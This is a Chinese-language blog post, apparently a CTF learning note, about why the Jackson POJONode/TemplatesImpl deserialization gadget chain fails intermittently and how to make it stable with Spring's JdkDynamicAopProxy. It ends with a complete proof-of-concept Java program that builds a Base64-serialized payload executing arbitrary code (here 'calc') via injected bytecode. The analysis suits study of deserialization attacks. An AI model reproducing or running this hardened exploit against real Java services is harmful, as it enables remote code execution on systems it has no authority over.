前言
昨天在晚上闲逛的时候看见了这样一篇文章 从JSON1链中学习处理JACKSON链的不稳定性
在阿里云CTF爆出这条jackson链子后,我自己本地尝试的时候就遇到过这种问题
有时会遇见这样的报错
com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])
从报错也能看出链子调用getter方法时优先调用了TemplatesImpl
的 getStylesheetDOM
方法
而_dom
属性为null
导致了空指针异常,从而中断整个调用链。
而当其调用 getter 方法时优先调用 getOutputProperties
方法时才是我们正常想要的结果。
同时也导致后面的有些比赛想用这条链子走捷径也因为这个问题困扰许久(只能不停重置靶机来恢复),奈何自己也是java小白,jackson源码也看得一头雾水,今天正好看到解决方法,特此记录学习一下。
jackson链随机性报错原因
还是逃不了看源码,自己硬着头皮调了下源码,大致摸索到了出现这种问题的原因
反序列化流程
详细的流程就不说了,关键是触发 POJONode
类型对象的 toString
方法,然后内部经过一系列序列化器调用 POJONode
中封的 _value
属性的 getter 方法,从而调用 TemplatesImpl
类型对象的 getOutputProperties
方法从而导致执行任意代码。
这里是如何从 toString
到调用相关getter的呢。
调试一下不难发现,toString
方法位于 POJONode
父类的父类 BaseJsonNode
中,其后会调用 com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString
方法来将自身序列化为 json 字符串,这里就到了研究jackson-databind这部分
官方文档 https://github.com/FasterXML/jackson-databind#1-minute-tutorial-pojos-to-json-and-back
这里先把整个调用栈贴出来
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
可以看到最后是在 com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField
方法中利用反射来执行其 getter 方法,比如说这里就先执行了 TemplatesImpl
的 getTransletIndex
方法
往前看 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields
方法
props
数组中每个值是BeanPropertyWriter
类型对象,之后循环调用其中的serializeAsField
方法来执行对应方法 。所以问题的关键就是找清楚这个props
数组的顺序,一路追踪这个变量,发现其根源是在 com.fasterxml.jackson.databind.introspect.POJOPropertiesCollector#collectAll
中调用 _addMethods(props)
方法来获取相关 getter 方法,之后将其添加到 prpos
属性中。
调用栈
_addMethods:680, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
collectAll:422, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
getJsonValueAccessor:270, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
findJsonValueAccessor:258, BasicBeanDescription (com.fasterxml.jackson.databind.introspect)
findSerializerByAnnotations:391, BasicSerializerFactory (com.fasterxml.jackson.databind.ser)
_createSerializer2:224, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind)
_createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind)
findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind)
findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
这里 _classDef.memberMethods()
获取到的 Methods 的顺序决定了最终执行 getter 方法的顺序,继续深入后就能发现最终利用反射来获取 Methods
所以其实问题就是反射 getDeclaredMethods
方法获取到的 Method 数组顺序是不确定的。
关于为什么在失败一次后,后面就行打这个payload一直还是失败的原因,这是因为jackson这个 com.fasterxml.jackson.databind.SerializerProvider#findTypedValueSerializer(java.lang.Class<?>, boolean, com.fasterxml.jackson.databind.BeanProperty)
中获取序列化器有缓存机制,在第一次便会创建缓存,所以第一次失败后便不会再成功。
根本原因
说了一堆废话,其实不用调试就能知道是反射获取Method数组顺序不一定,毕竟除了反射还能有啥方便的方法来执行对象的相关getter方法呢 🤡🤡
那为什么反射获取的顺序会出现问题呢,网上早就由前辈研究过了
这里想要深入了解得去看jvm源码
参考 https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q
这个获取顺序是根据地址的大小来排序的,期间存在内存free的动作,那地址是不会一直线性变化的,之所以不按照字母排序,主要还是为了速度考虑,根据地址排序是最快的。
一个类里的方法经过排序之后,顺序可能会不一样,取决于方法名对应的Symbol对象的地址的先后顺序
所以其实就是反射 getDeclaredMethods
获取到方法的顺序是不确定的,最终导致执行相关getter方法的顺序也是不确定的,当 TemplatesImpl
的 getStylesheetDOM
方法先于 getOutputProperties
方法执行时就会导致空指针异常从而导致调用链报错中断,exp利用失败。
解决随机性问题
参考 御林安全 的 这篇文章
其利用 org.springframework.aop.framework.JdkDynamicAopProxy
来解决jackson链子的随机性问题
实现原理
我们知道java中动态代理是十分强大的,被代理对象所能调用的方法取决与我们所给的接口,其功能取决与我们所给的 handler。当我们用java的反射 getDeclaredMethods
方法去获取其所有方法时也是根据我们提供的接口去获取的。
这里写个简单的demo说明下
package org.example;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Test {
public static void main(String[] args) {
Object myProxy = Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{TestInterface1.class, TestInterface2.class}, new MyHandler());
for(Method m: myProxy.getClass().getDeclaredMethods()) {
System.out.println(m.getName());
}
}
}
interface TestInterface1 {
public void say();
}
interface TestInterface2 {
public void test();
}
class TestProxy {
public void eat() {
System.out.println("eat something");
}
public void say() {
System.out.println("say something");
}
public String getName(String a) {
return a;
}
}
class MyHandler implements InvocationHandler {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("invoke dynamic proxy handler");
return null;
}
}
运行上述代码得到结果
发现其反射获得的方法完全是根据所给的接口来的,不管被代理的类是否实现了对应的方法。动态代理中方法的实现都放在了handler中的 invoke
方法中了,调用其任意方法都会在 invoke
方法中执行,所以主要就是看所给的接口和handler就可以了。
而 javax.xml.transform.Templates
接口其只有 newTransformer
和 getOutputProperties
这个两个方法,让他作为我们代理所需的接口,这样最终通过 getDeclaredMethods
获取到的方法就只有 newTransformer
和 getOutputProperties
了,那么最终获得的getter方法便只有 getOutputProperties
了。
所以这里得找这样一个 handler,它的 invoke
方法中能的执行我们所调用的方法即可。
JdkDynamicAopProxy
是 Spring 框架中的一个类,它实现了 JDK 动态代理机制,用于创建代理对象来实现面向切面编程(AOP)的功能。
这里看一下 org.springframework.aop.framework.JdkDynamicAopProxy
的具体源码
这里 advised
属性可控。
重点看其 invoke
方法
可以看到234行会执行所调用的 method
这里的 target 获取到的对象由上面所说的 advised
属性得到,我们将所需的 TemplatesImpl
的对象用 org.springframework.aop.framework.AdvisedSupport
封装即可
其他具体执行流程请自行调式查看。
所以我们将构造好的 templatesImpl
这样封装一下
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
十分稳定,该payload就算使用原来的payload打失败了也能接着用,无视其缓存机制,因为其最终调用的getter方法只有 getOutputProperties
稳定版payload
poc直接贴这了
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
public class Poc0 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
//利用 JdkDynamicAopProxy 进行封装使其稳定触发
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}